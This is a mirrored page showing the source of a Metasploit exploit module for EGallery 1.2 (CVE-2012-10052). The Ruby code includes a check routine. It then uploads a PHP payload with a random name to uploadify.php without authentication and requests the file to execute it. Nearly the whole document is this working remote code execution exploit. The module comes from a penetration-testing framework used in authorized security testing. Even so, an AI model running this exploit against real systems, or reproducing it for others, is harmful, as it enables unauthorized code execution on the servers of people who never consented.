Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/egallery_upload_exec.rb
24348 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "EGallery PHP File Upload Vulnerability",
16
'Description' => %q{
17
This module exploits a vulnerability found in EGallery 1.2 By abusing the
18
uploadify.php file, a malicious user can upload a file to the egallery/ directory
19
without any authentication, which results in arbitrary code execution. The module
20
has been tested successfully on Ubuntu 10.04.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Sammy FORGIT', # Discovery, PoC
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
['CVE', '2012-10052'],
29
['OSVDB', '83891'],
30
['BID', '54464'],
31
['URL', 'http://web.archive.org/web/20170128123244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
32
],
33
'Payload' => {
34
'BadChars' => "\x00"
35
},
36
'DefaultOptions' => {
37
'EXITFUNC' => 'thread'
38
},
39
'Platform' => ['php'],
40
'Arch' => ARCH_PHP,
41
'Targets' => [
42
['EGallery 1.2', {}]
43
],
44
'Privileged' => false,
45
'DisclosureDate' => '2012-07-08',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
58
]
59
)
60
end
61
62
def check
63
uri = target_uri.path
64
65
res = send_request_cgi({
66
'method' => 'GET',
67
'uri' => normalize_uri(uri, "egallery", "uploadify.php")
68
})
69
70
if res and res.code == 200 and res.body.empty?
71
return Exploit::CheckCode::Appears
72
else
73
return Exploit::CheckCode::Safe
74
end
75
end
76
77
def exploit
78
uri = normalize_uri(target_uri.path)
79
uri << '/' if uri[-1, 1] != '/'
80
81
peer = "#{rhost}:#{rport}"
82
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
83
boundary = Rex::Text.rand_text_hex(7)
84
85
post_data = "--#{boundary}\r\n"
86
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
87
post_data << "#{payload_name}\r\n"
88
post_data << "--#{boundary}\r\n"
89
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
90
post_data << "#{uri}\r\n"
91
post_data << "--#{boundary}\r\n"
92
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
93
post_data << "<?php "
94
post_data << payload.encoded
95
post_data << " ?>\r\n"
96
post_data << "--#{boundary}--\r\n"
97
98
print_status("Sending PHP payload (#{payload_name})")
99
res = send_request_cgi({
100
'method' => 'POST',
101
'uri' => normalize_uri("#{uri}egallery/uploadify.php"),
102
'ctype' => "multipart/form-data; boundary=#{boundary}",
103
'data' => post_data
104
})
105
106
# If the server returns 200 and the body contains our payload name,
107
# we assume we uploaded the malicious file successfully
108
if not res or res.code != 200 or res.body !~ /#{payload_name}/
109
print_error("File wasn't uploaded, aborting!")
110
return
111
end
112
113
print_status("Executing PHP payload (#{payload_name})")
114
# Execute our payload
115
res = send_request_cgi({
116
'method' => 'GET',
117
'uri' => normalize_uri("#{uri}#{payload_name}")
118
})
119
120
# If we don't get a 200 when we request our malicious payload, we suspect
121
# we don't have a shell, either. Print the status code for debugging purposes.
122
if res and res.code != 200
123
print_status("Server returned #{res.code.to_s}")
124
end
125
end
126
end
127
128